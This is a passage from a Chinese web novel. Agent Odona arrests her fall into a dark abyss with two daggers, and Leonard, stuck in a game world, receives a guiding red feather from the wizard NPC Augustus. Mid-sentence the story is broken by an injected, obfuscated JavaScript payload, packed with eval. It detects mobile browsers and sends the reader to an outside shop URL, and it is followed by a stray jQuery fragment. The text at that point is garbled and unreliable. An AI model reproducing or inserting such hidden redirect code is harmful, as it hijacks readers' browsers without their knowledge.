她的眼前一片漆黑,完全无从辨别身在何处,但除了失重和耳边剧烈的风声,奥多娜还有至少八十种方式证明自己正在坠落,比如她身上的每一道擦伤,还有两颗眼珠上尖锐的刺痛。 她不喜欢这种感觉。 但她的特工生涯教给她一条亘古不变的真理,想摆脱这种感觉只有一个办法,那就是该死的解决眼前的麻烦,或者被麻烦解决,像勾股定理那样简单、有效。 “拜托、拜托……拜托!”奥多娜用力把手往外伸,手指箕张,拼命扒拉抓挠,试图抓住些什么,但指尖碰到的只有坚硬的石壁和尖锐的石片,几乎无法阻止下落之势,反倒在她手指上留下无数道划伤。 很好,至少证明她不是凭空坠落。 而只要有借力之处,就有扭转的机会。 身上还有一长一短两把匕首,但奥多娜不打算这么早用它们,以她现在坠落的速度,就算匕首锋利到可以扎进石壁,也会转眼间被下坠之力折断。 想要这一击得手,必须先减速。 奥多娜在心里叹了口气,真希望她今天穿的是厚实耐磨的皮衣,或者降落伞包,她举起胳膊护住头脸,咬紧牙横下心,整个人团身往石壁上撞去,登时像西西弗斯刚推上山顶的巨石那样,做着一连串360°翻滚骨碌碌摔了下去。 奥多娜发誓,撞到后来,不止皮肉外伤,她眼底的白光都快炸开了。 “嗤啦”一声,一片衣角挂在碎石片上,撕裂开来,但下坠之势也因此得以一缓,奥多娜拼命挥出右手,匕首“叮”地一声撞上石壁,砸出一串火星来。 当! 匕首尖终于断裂飞出时,奥多娜挺身挥出了第二把匕首,不偏不倚地楔进了上一把匕首折断的豁口里。 尽管摇摇欲坠,扭伤的手腕也在尖叫着抗议,但感谢上帝,总算不再坠落了,奥多娜屏住呼吸,好半天才颤抖着轻轻呼出一口长气,火星和白光都消失了,她眼前再次恢复一片黑暗,耳边也恢复寂静,连一丝风声都没有。 不管她身处何处,可以肯定的是,这个无底深渊里只有她一个人,和一把不知什么时候就会断掉的匕首。 没有人能救她,连她自己也不行,这可真是为她量身打造的噩梦,想到这一点,奥多娜忍不住发出一声短促的尖笑,听起来就像被扼住喉咙的荆棘鸟。 大概就是这里了,奥多娜?霍普旅途的终点。 直到一缕细细的红光颤颤巍巍地从高处一路向下,悬停在了她面前。 莱纳德颓然地原地转了几圈,先前阻挡他的空气墙消失了,但铠甲兵和以利亚早已不见踪迹,搞不好已经被该死的游戏机制传送到了王城,想追都无从追起。 而他既不知道王城在哪里,也没有该死的被盗宝物,只有一匹半死不活的马,还有后脑勺上越鼓越高的大肿包。 作为游戏,这个开局实在不怎么样。 莱纳德用手指摸了摸脑袋受伤的地方,立刻疼得龇牙咧嘴,忍不住恼羞成怒地咒骂起来,什么狗屁游戏,净搞这种暴力戏码和英雄救美的烂俗桥段,还没有疗伤机制,沃冷集团居然没被玩家集体控诉到倒闭,真他妈是个奇迹。 “迷茫的骑士,你可需要帮助?” 一个声音在背后响起,莱纳德猛地转身,只见一个穿着灰色袍子的瘦长男人正看着他,头上带着一顶奇怪的帽子,上面还插着根红色羽毛,有点像一把年纪的彼得?潘。 “恭祝夜安。”灰帽子彼得?潘微笑着打招呼道。 “你是谁?”莱纳德瞪着对方,眼角余光瞄着地上离他最近的一柄剑,和一把断成两截的长矛,计算着万一交手他能多快拿到武器。 “巫师奥古斯特,愿意为您效劳。”瘦高个把头上那顶小的可笑的帽子摘下来握在手里,朝莱纳德微微鞠了一躬。 又一个NPC,还是装腔作势的魔法耗子,他真是宁愿被魔鬼大兵砸出脑震荡来,莱纳德暗暗咬牙,怎么就掉进了一个既有士兵又有巫师的世界,集合了他最讨厌的两种职业。 “你想干嘛?巫师。”莱纳德不客气地问,他上下打量着奥古斯特,对方一副麻杆似的身材,圆溜溜的眼睛,翘起的鼻头,不管怎么看,这家伙都不像个巫师,反倒像是滑稽戏里的小丑。 “最优秀的巫师,朋友,专门为迷途的骑士指明方向。”奥古斯特用唱歌似的语气说道,一边把帽子戴回脑袋上,又说,“没看错的话,你刚刚失去了你美丽的女伴,不是吗?” 莱纳德翻了个白眼,小声嘟囔:“大错特错。” “你正在为她担心呢。” “哼,倒不用说是她为我担心。” “难道你不想知晓她的行踪?” “我知道她被谁带去了哪里,所以,不劳费心。” “大话不妨留着日后再说,骑士,拯救爱人的征途总是多危难,否认现实只会害你走上歧途,迎敌克难才是正解,眼下你更需要的,乃是斩杀恶龙之力。” “哈,打住,我知道你想干嘛,帽子先生。”莱纳德冷笑一声,朝对方竖起一根手指,警告道,“想也别想,我不会被你牵着鼻子走的。” 奥古斯特不以为意道:“说起‘牵着鼻子’,你也许会需要这个。”他举起左手,在空中打了个响指,微笑起来,脸上的得意神情跟魔术师从帽子里变出兔子来没什么两样,只差再大喊一声“嗒哒”了。 莱纳德不由得屏住呼吸,但等了几秒却无事发生。 “怎么了胡迪尼,魔法棒过期了?”莱纳德正要嗤笑出声,原本倒在一边不剩几口气的斑点白马却忽然嘶鸣一声,甩动着长长的脖颈,竟然踏着蹄子从地上站了起来。 莱纳德闭上嘴,拧起了眉头,他讨厌魔法,不管以利亚怎么说,这一点都不会改变。 奥古斯特颇为满意地打量着马儿,然后转向莱纳德,扬起眉毛,翘起圆圆的鼻头,仿佛在问“怎么样?厉害吧?” 莱纳德阴沉着脸不发一言,于是奥古斯特一摆手臂,主动邀功道:“英勇的骑士怎能没有坐骑?” “你还需要再找个骑士,才能把这匹马卖出去。”莱纳德冷冷道,丝毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062366|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为所动。 “我能看得出你对我有些敌意,这没必要,我的朋友,”奥古斯特温和地说,“因为我是站在你这边的。” 莱纳德失笑:“为什么?可别告诉我你是梅林我是亚瑟,或者我是伊万你是雅加婆婆,洞悉天意的你命中注定要为我的冒险之旅指明方向,拜托,约瑟夫?坎布尔在《千面英雄》里早就说过了,这是最烂俗的套路,我的朋友。” 结果奥古斯特的回答大大出乎莱纳德的意料,他平静地说:“与命运无关,但这毕竟是个游戏,不是吗?” 莱纳德愣了半晌,才得出结论:“你也是玩家?” 奥古斯特“咯咯”地轻笑起来,似乎被逗乐了:“恰恰相反,我的朋友,我只是这游戏里最谦卑的一部分,游戏任务成败与否并不受我左右,尽我所能为玩家提供一些微不足道的帮助对我而言便是最大的奖赏。” 莱纳德越听眉头皱得越紧:“那你怎么知道这是个游戏?” 这简直就像超级玛丽知道自己并不真是个水管工,仿生人康纳知道自己的抉择全都受人类操控,真正投入的玩家大概不会喜欢这种不和谐的场外感的,不是吗? “我说过,我是巫师,最优秀的那种。”奥古斯特说道,高傲的神情中夹杂着一丝嘲讽,“窥探天意久了,总难免窥探到一些本不该知道的秘密。” 听着就离谱的理由,所以,没准儿是真的,莱纳德眯起眼睛:“既然你窥探到了这个秘密,难道你就没想过离开这个游戏?” “为什么?我一直乐在其中呢,亲爱的朋友。”奥古斯特笑吟吟地回答,继续用那种洞悉一切的目光看着他,“如果你想从我口中套出离开游戏的办法,我现在就可以告诉你,最好的办法只要一个,完成游戏任务。”顿了顿,又说道,“至少,先找到你的同伴,不是吗?” 莱纳德抿着嘴不答,但表情已然有所动摇。 奥古斯特低下头,把帽子上的红色羽毛摘下来握在手里,低声念了一句咒语,红羽毛便倏地亮了起来,一道细细的红色光线从羽毛尖上飞了出去,很快便飘向了远方。 “把它看作游戏的馈赠好了。”奥古斯特把羽毛递给莱纳德,意有所指地说,“拿着它,如果你想找到你的同伴的话。” 莱纳德苦笑:“我还有别的选择吗?” 奥古斯特也笑了起来,但笑容很愉快,他的回答很简短:“没有。” “这就是为什么人们不爱听大实话,它们都该死的伤人。”莱纳德叹气,伸手接过了红羽毛,意料之外的分量却沉得他手腕一坠,他一愣:“这是……” 忽然间,羽毛尖上飞出的光线一分为二,在空中一转,南辕北辙地向两个不同的方向远去。 “啊,看来需要你拯救的同伴不止一个,真是有趣。”奥古斯特轻声说道,目光隐隐透出某种热切,“抉择的时刻到来了,我的朋友。” “两个同伴都已陷入困境,你选择救谁?” 莱纳德看着手里的红羽毛,莹莹红光在他眼睛里各映出一点红色,他知道,自己已经做出了决定。